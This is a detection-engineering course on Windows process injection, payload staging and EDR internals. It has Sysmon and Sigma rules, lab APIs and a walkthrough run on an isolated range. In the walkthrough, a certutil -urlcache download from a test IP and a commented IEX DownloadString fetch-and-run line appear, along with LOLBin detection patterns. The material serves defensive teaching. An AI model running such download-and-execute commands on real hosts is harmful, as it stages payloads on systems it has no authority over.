- Sysmon EID 7 or EID 1: the image load or process creation of the dropped file.
Detection: temporal correlation — Sysmon EID 3 (network) followed within seconds by EID 11
(file write) from the same process, followed by EID 1 (execution) of the written file path.
Sigma rule on FileCreate in %TEMP% / %APPDATA% by a process that made an external
connection, or on ProcessCreate where image path matches a recently created file.
2. Memory-only staging. The payload is received over a network connection and loaded reflectively without being written to disk.
Host telemetry:
- Sysmon EID 3: the C2 network connection (still observable).
- ETW-TI:
ALLOCATE_VIRTUAL_MEMORYfor the PE allocation (cannot be hidden). - Sysmon EID 7: image-load event with
Signed=falseand no backing file (unbacked module).
Detection: Sysmon EID 7 where ImageLoaded is empty or in a temp path and Signed=false —
the "unbacked module" detection. The absence of a prior EID 11 for the image path is the
confirming signal that no file was written.
3. LOLBin staging. A signed OS binary is used to download or execute the payload.
Host telemetry:
- Sysmon EID 1: the LOLBin process-create with staging-relevant command line (
certutil -urlcache,bitsadmin /transfer,mshta http://...). - Sysmon EID 3: outbound network connection from the LOLBin process.
- Network proxy: HTTP GET from a system binary to an unexpected external host.
Detection: Sysmon EID 1 where Image|endswith: certutil.exe (or any LOLBAS binary) and
CommandLine|contains: -urlcache (or other staging keyword). And/or EID 3 where the
process image is a known LOLBin and the destination is an external IP/domain. Public Sigma rules
exist for every major LOLBin staging pattern. The signed binary status does not suppress these
detections — they key on behavior, not signature.
Q6: Why does ETW-TI survive user-mode hooking bypass, and why is it the residual injection detection?
Answer:
ETW-TI stands for Event Tracing for Windows — Threat Intelligence provider. It is a Windows kernel component that emits telemetry for memory-manipulation operations. The key architectural point: it runs in kernel mode.
Standard user-mode hook bypass (direct syscalls, unhooking ntdll): when a program patches the
Nt* function preambles in its own copy of ntdll.dll, or uses direct syscall stubs to jump
to the kernel system-call entry point, it bypasses the user-mode detour installed by the EDR agent.
The user-mode hook is not called. But the system call still executes in the kernel — and ETW-TI
callbacks are registered in the kernel as part of the system call implementation.
Specifically, NtAllocateVirtualMemory (the kernel-mode system call behind VirtualAllocEx)
triggers ETW-TI's ALLOCATE_VIRTUAL_MEMORY event as part of its execution path inside the kernel,
before returning to user mode. The user-mode ntdll detour was bypassed, but the kernel-side ETW-TI
callback was not.
Similarly, patching EtwEventWrite in user mode (to suppress ETW output from the attacker's
own process) only affects user-mode ETW providers. The ETW-TI provider emits from the kernel
context; EtwEventWrite in user mode is irrelevant.
This makes ETW-TI the residual sensor for injection: after all user-mode evasion (ntdll
unhooking, direct syscalls, AMSI bypass, ETW user-mode patch), ETW-TI's alloc/write/map events
still fire. The injection technique detection mapper (Lab 01) models etw_ti as a required sensor
for every injection technique — because it is the one that no user-mode evasion removes.
The detection built on ETW-TI is therefore a TTP-level detection: it fires on the behavior (cross-process memory allocation with execute permission), not on a tool name or file hash. It survives recompilation, renaming, and all user-mode evasion — only redesigning the injection primitive removes it.
References
- Windows Internals, 7th ed. (Russinovich et al.) — chapters on virtual memory, section objects, process creation, APC.
- Microsoft Docs:
CreateRemoteThread,VirtualAllocEx,WriteProcessMemory,NtMapViewOfSection,QueueUserAPC,SetThreadContext. - MITRE ATT&CK: T1055 and all sub-techniques (T1055.001 through T1055.015).
- ETW Threat Intelligence provider — Microsoft documentation; Elastic Security Labs blog posts on ETW-TI internals.
- Sysmon event reference — EID 1, 3, 7, 8, 10, 11.
- LOLBAS project —
lolbas-project.github.io— per-binary staging techniques and detections. - SigmaHQ —
github.com/SigmaHQ/sigma— T1055.* and T1218.* rules. - MITRE ATT&CK data sources documentation — "data component" concept mapping to Sysmon EIDs.
Hitchhiker's Guide — Observe Injection Telemetry, Find the Gap, Close It
The detection-engineer range walkthrough for Phase 06. On an owned range, run benign Atomic Red Team tests for injection telemetry (T1055 sub-techniques), observe exactly which Sysmon events fire, compare against Lab 01's required-sensor model, identify a gap, and close it with a Sysmon config change + Sigma rule.
Safety (non-negotiable). Everything runs on an isolated, owned range you built. The Atomic Red Team tests are benign telemetry-footprint tests — they simulate the observable footprint of the technique without harmful impact. There is no working shellcode, no live implant, no C2 connection. This exercise is purely defensive: observe the sensors, find the gap, close it.
Table of Contents
- 0. Authorize and scope
- 1. Build the range
- 2. Map the sensor inventory (Lab 01 input)
- 3. Run a benign T1055 Atomic test and observe the telemetry
- 4. Identify the gap using Lab 01
- 5. Close the gap: Sysmon config + Sigma rule
- 6. Verify the rule fires
- 7. Observe staging telemetry (Lab 02)
- 8. The evidence packet
- 9. Teardown
- Common false claims
0. Authorize and scope
- Owner: you. All VMs are yours on an isolated network.
- Scope: lab VMs only; deny-by-default egress.
- Methods: Atomic Red Team benign tests, Sysmon config changes, Sigma rules. No working implants, no shellcode, no live C2.
- Data: synthetic. No real credentials or PII in any fixture.
- Stop: any unexpected egress or any test outside the pre-approved benign list → stop, snapshot.
1. Build the range
isolated vSwitch (host-only, deny-by-default egress)
/
Windows 10/11 VM
- Sysmon installed (SwiftOnSecurity or Olaf Hartong config)
- PowerShell 5.1 + Atomic Red Team (Invoke-Atomic)
- Wazuh / Elastic agent → detection stack SIEM
(same range as Phase 07 — share the setup)
Snapshot before first test. Roll back after each exercise.
2. Map the sensor inventory (Lab 01 input)
On the endpoint VM, determine which sensors are actually active:
# Is Sysmon running?
Get-Service Sysmon64
# Which event IDs are configured?
# Sysmon.exe -c (print active config)
# Look for: ProcessCreate(1), ImageLoad(7), CreateRemoteThread(8), ProcessAccess(10)
# Is PowerShell Script Block logging on?
Get-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
-ErrorAction SilentlyContinue
# Is ETW-TI consumed by your EDR agent?
# Check the EDR's product documentation or look at wbem subscriptions
Build the sensor dict:
sensors = {"sysmon_eid_1", "sysmon_eid_10"} # example: Sysmon on but EID 8 not configured
# Add "sysmon_eid_7", "sysmon_eid_8", "etw_ti", "kernel_callbacks" as confirmed active
Feed this into Lab 01:
python3 -c "
import solution
sensors = {'sysmon_eid_1', 'sysmon_eid_10'}
techniques = solution.all_technique_names()
cov = solution.coverage(techniques, sensors)
for t, status in cov.items():
print(f'{t:25s} {status}')
blind = solution.blind_techniques(techniques, sensors)
print()
print('Blind:', blind)
print('Best to add:', solution.best_sensor_to_add(techniques, sensors))
"
Expected: most techniques are partial (EID 10 covers the OpenProcess step) or blind
(reflective_dll requires EID 7 and kernel_callbacks neither of which are in our minimal set).
3. Run a benign T1055 Atomic test and observe the telemetry
Choose one benign test. Read it first; only run pre-approved, benign Atomic tests on your range.
Recommended for this exercise: T1055.003 (Remote Thread) — the most straightforward observable.
# On the range Windows VM:
# Install Atomic Red Team if not already installed (range-only):
# IEX (New-Object Net.WebClient).DownloadString('https://...') — only on isolated range
# Or: Install-Module -Name invoke-atomicredteam
# Run the benign remote thread Atomic test:
Invoke-AtomicTest T1055.003 -TestNumbers 1
This Atomic injects a benign DLL into a process and immediately cleans up. The observable: the
CreateRemoteThread call happens and Sysmon EID 8 fires (if configured).
Observe in the event log / SIEM dashboard:
- Sysmon EID 10: appeared? (OpenProcess with VM_WRITE)
- Sysmon EID 8: appeared? (CreateRemoteThread)
- ETW-TI: visible in EDR? (depends on agent)
Write down exactly which EIDs fired. Compare to the expected sensors in Lab 01's catalog for
remote_thread:
lab.technique_info("remote_thread")["required_sensors"]
# frozenset({"etw_ti", "sysmon_eid_8", "sysmon_eid_10"})
4. Identify the gap using Lab 01
If EID 8 did not fire (because CreateRemoteThread is not enabled in the Sysmon config), you have
found the gap: sysmon_eid_8 is missing from your sensor inventory.
# Update sensors to reflect what actually fired:
sensors_actual = {"sysmon_eid_1", "sysmon_eid_10"} # EID 8 absent
cov = lab.coverage(["remote_thread"], sensors_actual)
# → {"remote_thread": "partial"} because EID 10 is present but EID 8 is not
The gap is sysmon_eid_8. Lab 01 should confirm this as the best sensor to add for remote_thread.
5. Close the gap: Sysmon config + Sigma rule
Enable Sysmon EID 8 (CreateRemoteThread logging):
<!-- Add to your Sysmon config XML: -->
<RuleGroup name="remote-thread" groupRelation="or">
<CreateRemoteThread onmatch="include">
<!-- Log all CreateRemoteThread events by default; exclude known-good pairs -->
<SourceImage condition="image">CreateRemoteThread</SourceImage>
</CreateRemoteThread>
<!-- Exclude known-good: EDR agent, AV, WMI Provider Host doing expected injection -->
<CreateRemoteThread onmatch="exclude">
<SourceImage condition="image">MsMpEng.exe</SourceImage>
<SourceImage condition="image">svchost.exe</SourceImage>
</CreateRemoteThread>
</RuleGroup>
Reload: Sysmon.exe -c sysmonconfig.xml
Sigma rule for the detection:
title: Remote Thread Injection from User-Space Process
id: b1c2d3e4-f5a6-7890-bcde-f01234567890
status: experimental
description: >
A process in a user-writable directory created a remote thread in a system process.
Consistent with remote thread injection (T1055.003) for payload execution.
logsource:
product: windows
category: create_remote_thread
detection:
selection:
SourceImage|startswith:
- 'C:\Users\'
- 'C:\Temp\'
- 'C:\ProgramData\'
filter_known_good:
TargetImage|endswith:
- '\MsMpEng.exe'
condition: selection and not filter_known_good
falsepositives:
- Legitimate injection by some security or monitoring tools; tune by SourceImage.
level: high
tags:
- attack.privilege_escalation
- attack.defense_evasion
- attack.t1055.003
6. Verify the rule fires
After reloading Sysmon:
# Re-run the benign T1055.003 Atomic on your range:
Invoke-AtomicTest T1055.003 -TestNumbers 1
Check:
- Sysmon EID 8 now appears in the event log.
- The Sigma rule generates an alert in the SIEM (Wazuh/Elastic).
- The alert's
SourceImageandTargetImagefields match what the Atomic test produced. - Normal activity (running other programs on the VM) does NOT trigger the rule.
Record before/after: remote_thread was partial, now covered after adding sysmon_eid_8.
7. Observe staging telemetry (Lab 02)
To exercise Lab 02, observe a LOLBin download on your range:
# On range VM (isolated, deny-by-default egress — this should FAIL to reach internet,
# but the Sysmon telemetry should fire locally):
Start-Process certutil.exe -ArgumentList "-urlcache", "-split", "-f",
"http://203.0.113.1/test.txt", "C:\Temp\test.txt" -NoNewWindow
Observe:
- Sysmon EID 1:
certutil.exeprocess create with the staging keyword in CommandLine. - Sysmon EID 3: network connection attempt from
certutil.exe(even if blocked by deny-by-default).
Translate the event into the Lab 02 event dict format:
events = [
{"type": "process_create", "image": "certutil.exe", "parent": "powershell.exe",
"command_line": "certutil.exe -urlcache -split -f http://203.0.113.1/test.txt C:\\Temp\\test.txt"},
{"type": "network_connect", "process": "certutil.exe",
"dest_ip": "203.0.113.1", "dest_port": 80},
]
result = solution.analyze(events)
print(result["strategy"]) # → "lolbin"
print(result["findings"]) # → LOLBin + network findings
The lab confirms the staging strategy and the detection description for each finding.
8. The evidence packet
Collect:
- The sensor inventory (before and after adding EID 8).
- Lab 01 coverage output (partial → covered for remote_thread).
- The Sysmon EID 8 event fired by the benign Atomic.
- The Sigma rule file.
- The SIEM alert screenshot.
- The Lab 02 analysis output for the certutil staging simulation.
- A narrative: technique, gap, close, verification — observation separated from inference.
This is the Phase 06 portfolio artifact.
9. Teardown
- Revert VM to clean snapshot.
- Remove any certutil artifacts written to
C:\Temp\. - If the range is cloud-based, destroy VMs and verify billing returns to baseline.
Common false claims
"I executed injection against a target." On this range you ran a benign Atomic telemetry test and observed which Sysmon events fired. The honest claim: "I observed the telemetry footprint of the injection technique, identified a sensor gap, and closed it with a Sysmon config change and a Sigma rule verified on a benign test."
"The Sigma rule I wrote covers all injection variants." A single rule covers one technique family's observable. APC injection has no EID 8; reflective DLL has no EID 8 but has an unbacked EID 7. Document which techniques each rule covers and which require additional rules.
"LOLBin downloads are low risk because the binary is signed." The signed binary status is irrelevant to a behavioral detection on command line + network connection. Document the detection you wrote (EID 1 + EID 3 correlation) and note that it fires regardless of signature.
Lab 01 — Injection Technique Detection Mapper
Map injection techniques to their required sensors, API sequences, Sysmon event IDs, and detection rules. Compute technique coverage against a given sensor inventory.
What it builds
A detection-engineering catalog for process-injection techniques. Given a technique name, returns its API call sequence, required data sources, observable Sysmon event IDs, the detection key, and a description of the behavioral IOC. Given a sensor inventory, computes which techniques are fully covered, partially covered, or blind — and the best sensor to add.
Running
LAB_MODULE=solution python3 -m pytest -q # 13 tests
python3 -m pytest -q
API
technique_info(name: str) -> dict | None
# Returns {name, api_sequence, required_sensors, sysmon_eids, detection_key, description}
# None if unknown technique
coverage(techniques: list[str], sensors: set[str]) -> dict[str, str]
# Returns {technique: "covered" | "partial" | "blind"}
# covered: all required_sensors present
# partial: at least one required_sensor present
# blind: no required_sensor present
blind_techniques(techniques: list[str], sensors: set[str]) -> list[str]
best_sensor_to_add(techniques: list[str], sensors: set[str]) -> str | None
# Greedy: the sensor that converts the most blind/partial techniques toward covered
all_technique_names() -> list[str]
Lab 02 — Payload Staging Analyzer
Classify staging events from a host-event stream, identify the staging strategy, enumerate telemetry artifacts, and return detection findings.
What it builds
A staging-event classifier and detection mapper. Given a list of synthetic host events (file creates, network connections, image loads, LOLBin executions), it classifies the staging strategy (disk, memory-only, or LOLBin), maps each event to its telemetry plane (host/network), and returns detection findings with Sysmon EID and Sigma description.
Running
LAB_MODULE=solution python3 -m pytest -q # 12 tests
python3 -m pytest -q
API
classify_strategy(events: list[dict]) -> str
# "disk" | "memory_only" | "lolbin" | "unknown"
# disk: file-create followed by image-load
# lolbin: LOLBin process creates a network connection or writes a file
# memory_only: image-load with no prior file-create (unbacked)
analyze(events: list[dict]) -> dict
# Returns {strategy, findings: [{event_id, telemetry_plane, sysmon_eid, detection}]}
lolbin_findings(events: list[dict]) -> list[dict]
staging_network_findings(events: list[dict]) -> list[dict]
unbacked_image_findings(events: list[dict]) -> list[dict]
Event schema
# FileCreate event:
{"type": "file_create", "path": "C:\\Temp\\payload.exe", "process": "certutil.exe"}
# NetworkConnect event:
{"type": "network_connect", "process": "certutil.exe", "dest_ip": "203.0.113.5", "dest_port": 443}
# ImageLoad event:
{"type": "image_load", "process": "explorer.exe", "image": "C:\\Temp\\injected.dll",
"signed": False, "on_disk": False} # on_disk=False → unbacked
# ProcessCreate event:
{"type": "process_create", "image": "certutil.exe", "parent": "cmd.exe",
"command_line": "certutil.exe -urlcache -split -f http://... payload.exe"}
Phase 07 — EDR Internals, Evasion Theory & Detection Engineering
Operation Cedar Lattice, Phase 07. Phase 06 produced the execution technique and the telemetry it emits to run on the next host. Now we answer the question the SOC will ask in the report: what did Meridian Freight's EDR, AMSI, and ETW actually see? This phase builds the detection-gap map — the picture of which sensors fired, which were blinded by which evasion, and which behaviors went dark — and then turns that map into durable detections the client keeps.
This is the most two-sided phase in the track, so its frame is the strictest: it is detection- forward. We explain how an EDR builds its picture and the theory of evasion only so you can predict what a sensor sees and build the detection. Every evasion concept is immediately turned into a detection or a visibility-gap finding. The deliverable is not "we beat the EDR." It is "here is exactly which sensor each technique needs, which evasion blinds it, which sensor survives anyway, and the detection that fires regardless."
Safety (non-negotiable). Authorized security-education only. This phase explains EDR internals and the theory of evasion strictly to predict telemetry and engineer detections. The labs are telemetry-gap analyzers and visibility-mappers over synthetic sensor metadata. There is no working EDR bypass, no unhooking code, no ETW/AMSI patch routine, and no deployable evasion in this repo. Every evasion concept ends in its detection. This is the same boundary as the
securitytrack.
Why this phase exists
You cannot engineer a detection for a sensor you do not understand, and you cannot understand a sensor without knowing what it sees and where its blind spot is. A red team consultant who can only say "the EDR didn't catch us" delivers nothing the client can act on. A consultant who can say "the EDR was blind to the injection because you do not collect ETW-TI, and here is the kernel-callback detection that would have caught it even if we unhooked ntdll" delivers a threat-informed defense roadmap — which is the actual product Mandiant sells.
This phase is also where the Pyramid of Pain stops being a slide and becomes engineering practice. A hash detection costs the adversary seconds; a robust behavioral detection over the right sensor costs them a redesign. Knowing which sensor survives an evasion is exactly how you build at the top of the pyramid.
Learning Objectives
By the end of this phase you can, without notes:
- Draw the EDR architecture end to end — kernel-mode driver, user-mode agent, cloud backend — and say which component collects which telemetry and why.
- Name the kernel callbacks an EDR registers (
PsSetCreateProcessNotifyRoutine(Ex),PsSetLoadImageNotifyRoutine,PsSetCreateThreadNotifyRoutine, object/handle callbacks, minifilter file callbacks), what event each delivers, and why kernel residency matters. - Explain ETW and ETW-TI — providers, consumers, sessions — what each provider sees, and why
patching
EtwEventWriteblinds user-mode ETW but not the kernel-emitted ETW-TI — and the detection for the patch. - Explain user-mode API hooking in ntdll, how direct and indirect syscalls evade it, and the
detection: call-stack and return-address anomalies, a second clean
ntdllimage-load. - Explain AMSI — where it sits, what it scans, the concept of a bypass — and the AMSI-bypass detection (the bypass is itself observable).
- Build the sensor map for a host and identify its blind spots — the telemetry-gap analysis methodology (Lab 01).
- Do detection engineering: write a Sysmon config change and a Sigma rule, apply the Pyramid of Pain, and tell a robust behavioral detection from a brittle IOC one.
- State the phase's core invariant: user-mode evasions do not blind kernel sensors (Lab 02).
The sensor map — what each sees, how evasion blinds it, the detection
| Sensor | What it sees | How an evasion blinds it | The detection / gap it implies |
|---|---|---|---|
Process-create kernel callback (PsSetCreateProcessNotifyRoutineEx) | every process start: parent/child, image, command line (via EDR) | cannot be blinded from user mode (ring 0) | baseline parent/child trees; the survivor when user-mode tricks fail |
Image-load callback (PsSetLoadImageNotifyRoutine) | every DLL/driver map, path, signer | reflective / module-stomping load avoids a disk image | unsigned/unbacked image loads; a second ntdll mapping |
| Thread/handle/object callbacks | remote thread creation, LSASS handle opens | none from user mode | remote-thread + cross-process LSASS handle = injection / dumping |
| ETW user-mode providers (CLR, DNS, WMI, PowerShell) | in-process .NET, DNS, WMI, scripts | patch EtwEventWrite in-process → provider goes silent | the patch (RWX on ntdll .text) is visible to ETW-TI; correlate provider gaps |
| ETW-TI (Threat-Intelligence provider) | kernel-emitted alloc/protect/inject signals (NtAllocateVirtualMemory, NtProtectVirtualMemory, remote writes) | kernel-emitted — user-mode patches do not reach it | the durable injection detection; survives unhooking |
| ntdll user-mode hooks | Nt* syscall arguments at the user/kernel boundary | direct/indirect syscalls jump past the hook | call-stack / return-address anomaly; syscalls from non-ntdll memory |
| AMSI | script & .NET buffers at runtime, after de-obfuscation | bypass patches AmsiScanBuffer / context in-process | the bypass is observable: amsi.dll write, forced-clean on a known-bad test string |
| Minifilter file callbacks | file create/write — drops, staging, ransomware | in-memory-only tradecraft writes no file | mass-write / canary detections; correlate with no-disk execution |
| Network telemetry | connections: dest, port, process, JA3/SNI | out-of-process — cannot be patched from the host | beacon timing, egress allowlist, malleable-profile anomalies |
The pattern of the whole table: every evasion targets a specific sensor at a specific trust boundary, and a sensor at a lower boundary survives. That surviving sensor is the detection.
Labs
| Lab | Builds | Lesson |
|---|---|---|
| Lab 01 — EDR Telemetry-Gap Analyzer | model a sensor inventory vs ATT&CK techniques' required data sources; compute detectable/partial/blind, the highest-value missing sensor, and a prioritized telemetry-improvement plan | a blind spot is a missing data source; close the cheapest, highest-value gap first |
| Lab 02 — AMSI/ETW Residual-Visibility Mapper | given a behavior's sensor footprint and a set of evasions, compute residual visibility, whether it is still detectable, and the residual detection | user-mode evasions do not blind kernel sensors, and the bypass is itself detectable |
Each lab follows LAB-STANDARD.md: lab.py (TODOs), a complete solution.py,
adversarial test_lab.py, README.md, requirements.txt — pure Python (stdlib + pytest), offline,
deterministic, with the detection pairing built in.
cd lab-01-edr-telemetry-gap-analyzer
LAB_MODULE=solution pytest -q # reference passes (11 tests)
pytest -q # your implementation after the TODOs
cd ../lab-02-amsi-etw-visibility-mapper
LAB_MODULE=solution pytest -q # reference passes (12 tests)
Deliverables
- An EDR telemetry-gap analyzer that scores an org's ATT&CK detection coverage against its actual sensor inventory, classifies each technique detectable/partial/blind, names the single highest-value missing data source, and emits a prioritized telemetry-improvement plan.
- An AMSI/ETW residual-visibility mapper that proves which sensors survive a given evasion set, whether a behavior is still detectable, and the residual detection (including the detection of the evasion itself).
- The Operation Cedar Lattice Phase 07 artifact: Meridian's detection-gap map — what its EDR/ AMSI/ETW saw, which evasions blinded which sensor, the residual kernel detections, and the prioritized telemetry + Sigma/Sysmon remediation. Over synthetic metadata; no weaponization.
- The fluency to walk EDR internals, the theory of each evasion and its detection, the sensor map and its blind spots, and to write a Sysmon config change plus a Sigma rule that fires — in an interview.
Readings (primary sources)
- Microsoft docs: Process/Image/Thread notify routines,
ETW (Event Tracing for Windows) and the Microsoft-Windows-Threat-Intelligence provider,
AMSI (Antimalware Scan Interface), minifilter (
FltRegisterFilter), WDAC. - Elastic Security Labs and CrowdStrike/Microsoft engineering blogs on EDR internals, ETW-TI, and call-stack-based detection.
- The Sigma specification and rule repository; Sysmon + the SwiftOnSecurity and Olaf Hartong sysmon-modular configs.
- David Bianco — The Pyramid of Pain. MITRE ATT&CK data sources / data components and the CTID Sensor Mappings to ATT&CK.
- Windows Internals (Russinovich, Solomon, Ionescu) — the kernel notification and ETW chapters.
Common Mistakes
- Saying "we evaded the EDR." You blinded a sensor. Name it, name the boundary, name the survivor.
- Believing a user-mode patch is invisible. Patching
EtwEventWrite/AMSI/ntdll hooks is itself an event — RWX on a system DLL, an amsi.dll write, a call-stack anomaly. The bypass is a detection. - Treating ETW and ETW-TI as the same thing. User-mode ETW is patchable in-process; ETW-TI is kernel-emitted and is not. Conflating them is the single most common Phase 07 error.
- Detecting at the bottom of the Pyramid of Pain. A hash or AMSI signature string is trivial to change; build the behavioral detection on the surviving sensor.
- Calling "partial" coverage "covered." One missing data source in a multi-sensor technique is a
brittle detection a single evasion drops below the line (Lab 01's
partial). - Shipping a brittle Sigma rule. A rule keyed on one command-line string is bypassed by renaming; key on the behavior the kernel sensor sees.
- No telemetry-gap methodology. Gut-feel "we should log more" is not a plan. The plan is the ranked, gain-maximizing sensor list (Lab 01).
Interview Questions
- Walk me through how a modern EDR builds its picture — kernel driver, user agent, cloud — and which telemetry each part collects.
- Which kernel callbacks does an EDR register, and what does each deliver? Why does kernel residency matter for evasion resistance?
- Explain ETW vs ETW-TI. If an attacker patches
EtwEventWrite, what goes blind, what survives, and how do you detect the patch? - How do user-mode ntdll hooks work, how do direct/indirect syscalls evade them, and what is the detection?
- Where does AMSI sit and what does it scan? If someone bypasses AMSI, how is the bypass itself detectable?
- A technique "evaded the EDR." How do you reason about what was actually blinded and what still saw it?
- What is the Pyramid of Pain, and how does it decide whether a detection you wrote is worth keeping?
- Walk me from a telemetry gap to a closed gap: the missing data source, the Sysmon config change, the Sigma rule, and how you verify it fires.
(Full principal-level answers are in WARMUP.md.)
Portfolio artifact
Meridian's EDR detection-gap map for Operation Cedar Lattice: the per-technique coverage table
(Lab 01 output) classifying detectable/partial/blind with the highest-value missing sensor and the
telemetry-improvement plan; the residual-visibility analysis (Lab 02 output) showing, for the
engagement's key techniques, which sensors the evasions blinded and which kernel sensor survived; a
Sysmon config diff and a Sigma rule that close one named gap; and the verification that the rule
fires on a benign Atomic test. All over synthetic metadata, no real targets, no weaponization. This is
part of 06-07-payloads-edr/ in the capstone portfolio.
Guides
- WARMUP.md — the from-zero deep dive: EDR architecture, kernel callbacks, ETW & ETW-TI, ntdll hooks & syscalls, AMSI, the sensor map & blind spots, detection engineering (Sysmon, Sigma, the Pyramid of Pain, robust vs brittle), and the telemetry-gap methodology — every evasion paired with its detection.
- HITCHHIKERS-GUIDE.md — on an owned range with Sysmon + ETW + a free EDR: run benign Atomic tests, observe which sensors fire, find a telemetry gap, close it with a Sysmon config change + a Sigma rule, and verify the rule fires. No bypass steps.
Warmup Guide — How an EDR Builds Its Picture, and How to Engineer Its Detections
Zero-to-principal primer for Phase 07. It builds every concept the phase depends on from first principles: the architecture of a modern EDR, the kernel callbacks that make it hard to blind, ETW and the kernel-emitted ETW-TI provider, the user-mode hooks in
ntdlland how syscalls relate to them, AMSI, the full sensor map and its blind spots, and then detection engineering — Sysmon config, the anatomy of a Sigma rule, the Pyramid of Pain, behavioral vs IOC, robust vs brittle detections — and the telemetry-gap methodology that ties it together. It assumes only that you can write software and have read Phase 00's authorization boundary. By the end you can predict what a sensor sees for a given technique and build the detection that fires.Safety frame (not optional). This guide is detection-forward. It explains EDR internals and the theory of evasion strictly so you can predict telemetry and engineer detections. Every evasion concept is paired, in the same breath, with the detection or visibility-gap it implies. There is no working bypass, no unhooking code, no ETW/AMSI patch routine, and no deployable evasion here — and there is none in the labs, which reason over synthetic sensor metadata. The difference between a red teamer and a criminal is authorization and intent, not knowledge (Phase 00). The skill being trained is predicting what a sensor sees and closing the gap.
Table of Contents
- Chapter 1: What an EDR Is and How It Builds Its Picture
- Chapter 2: Kernel Callbacks — the Sensors You Cannot Reach from User Mode
- Chapter 3: ETW and ETW-TI — In-Process Telemetry vs the Kernel's Own
- Chapter 4: User-Mode Hooks in ntdll — and How Syscalls Relate to Them
- Chapter 5: AMSI — Scanning Content at Runtime
- Chapter 6: The Sensor Map and Its Blind Spots
- Chapter 7: Detection Engineering — Sysmon, Sigma, and the Pyramid of Pain
- Chapter 8: Robust vs Brittle Detections — Behavioral Beats IOC
- Chapter 9: Telemetry-Gap Analysis — the Methodology
- Lab Walkthrough Guidance
- Success Criteria
- Common Mistakes and OPSEC Failures
- Interview Q&A
- References
Chapter 1: What an EDR Is and How It Builds Its Picture
Zero background. "EDR" is Endpoint Detection and Response — the software that watches a Windows (or Linux/macOS) host and tries to notice when something malicious happens, record it, and let a responder act. Older antivirus asked a single question — "does this file match a known-bad signature?" — and answered it when a file landed on disk. EDR asks a richer one: "is the behavior on this host consistent with an attack?" — and to answer it, the EDR must observe behavior as it happens. Everything in this phase follows from one fact: to observe behavior, the EDR must place sensors at the points where behavior occurs, and each sensor sits at a particular trust boundary that determines what it can see and who can blind it.
What it is. A modern EDR is three cooperating parts:
+-------------------------------------------------------------+
| CLOUD BACKEND |
| correlation, ML, threat intel, retro-hunt, analyst console |
+----------------------------^--------------------------------+
| (batched, signed telemetry)
+----------------------------|--------------------------------+
| HOST | |
| +------------------------+-----------------------------+ |
| | USER-MODE AGENT (ring 3) | |
| | - reads ETW sessions (CLR, DNS, WMI, PowerShell) | |
| | - inline hooks in ntdll of monitored processes | |
| | - AMSI provider; log shipping; local rules | |
| +------------------------^-----------------------------+ |
| | (events up) |
| +------------------------+-----------------------------+ |
| | KERNEL DRIVER (ring 0) | |
| | - process/image/thread/handle notify callbacks | |
| | - minifilter (file) + registry callbacks | |
| | - consumes ETW-TI (kernel Threat-Intelligence) | |
| +------------------------------------------------------+ |
+-------------------------------------------------------------+
- The kernel-mode driver (ring 0). A signed driver that registers with Windows kernel notification facilities so the OS tells it about security-relevant events: a process starts, an image loads, a thread is created, a handle is opened, a file is written, a registry key changes. The driver also consumes the kernel's own ETW-TI provider. Because it lives in the kernel, user-mode code in a target process cannot reach it — this is the source of the phase's whole thesis.
- The user-mode agent (ring 3). A service plus, often, code injected into monitored processes. It
reads ETW sessions (the CLR/.NET provider, DNS, WMI, PowerShell), places inline hooks in
ntdllto inspect syscall arguments, registers an AMSI provider to scan scripts, applies local rules, and ships telemetry up. Because it runs in user mode, much of it sits in the same trust boundary as the attacker's payload — which is exactly why user-mode evasions exist and why they are limited. - The cloud backend. Where per-host telemetry is correlated across the fleet, scored, enriched with threat intel, retro-hunted, and surfaced to an analyst. The host is the sensor; the cloud is the brain.
Why it exists. Signatures fail against anything new or obfuscated; a one-byte change defeats a hash.
Behavior is far stickier: an attacker can rename their tool, but if their goal is to inject into another
process and dump LSASS, the behavior — a remote thread, a cross-process handle to LSASS, a
suspicious memory allocation — recurs no matter the binary. EDR is the bet that behavior is harder to
change than bytes, which is the same bet as the Pyramid of Pain (Chapter 7).
Under the hood — trust boundaries are the whole game. Sort every sensor by who can tamper with it:
| Boundary | Sensors | Who can blind it |
|---|---|---|
| Kernel (ring 0) | process/image/thread/handle callbacks, minifilter, registry callbacks, ETW-TI | only kernel-level code (a malicious driver, BYOVD) — not a user-mode payload |
| User-mode, out-of-process | network telemetry, the agent service, cloud correlation | not reachable by patching the payload's own memory |
| User-mode, in-process | ntdll inline hooks, user-mode ETW (EtwEventWrite), AMSI | the payload runs here too — it can patch these in its own address space |
The entire theory of user-mode evasion is: "blind the in-process row." The entire theory of robust detection is: "build on the kernel and out-of-process rows, which the in-process payload cannot touch." Hold this table in your head for the rest of the phase.
What telemetry it emits. The EDR itself emits a stream of normalized events: ProcessCreate,
ImageLoad, NetworkConnect, RemoteThread, ProcessAccess (handle open), FileCreate,
RegistryEvent, plus parsed ETW. Sysmon (Chapter 7) is a free, transparent stand-in that emits the
same shape of events with documented IDs — which is why we learn detection on Sysmon.
Significance. When the Operation Cedar Lattice report says "Meridian's EDR did not detect the injection," the only useful version of that sentence names the sensor and the boundary: "the host collected user-mode ETW but not ETW-TI, so an in-process ETW patch blinded the only injection sensor present; the kernel callback that would have survived was not being collected." That sentence is a finding. "The EDR missed it" is not.
Common misconceptions.
- "The EDR is one thing that either sees you or doesn't." It is a stack of sensors at different boundaries. Evasion is always against a specific sensor.
- "Kernel driver means it sees everything." It sees what it registers for and what it is collecting and shipping. An uncollected callback is a blind spot even though the driver is in the kernel.
- "Cloud ML will catch what the host misses." The cloud can only correlate telemetry the host actually sent. No data source, no detection — which is why telemetry-gap analysis (Chapter 9) is the root discipline.
Chapter 2: Kernel Callbacks — the Sensors You Cannot Reach from User Mode
Zero background. A "callback" is a function you hand to someone else so they call you when something happens. Windows lets a driver register callbacks with the kernel for security-relevant events. Because the kernel invokes them from ring 0, before or as the event completes, a user-mode payload — which lives in ring 3 — cannot intercept, suppress, or lie to them from its own process. These are the EDR's most evasion-resistant sensors.
What they are. The core notify routines an EDR registers:
| Callback | API | What it delivers |
|---|---|---|
| Process-create | PsSetCreateProcessNotifyRoutineEx(2) | every process start/exit: PID/PPID, image path, and (via the EDR) the command line and token |
| Image-load | PsSetLoadImageNotifyRoutine(Ex) | every DLL/driver mapped into a process: full path, base, signing info |
| Thread-create | PsSetCreateThreadNotifyRoutine(Ex) | every thread start, including remote threads created cross-process |
| Object/handle | ObRegisterCallbacks | handle creation/duplication — e.g. a process opening a handle to LSASS with read rights |
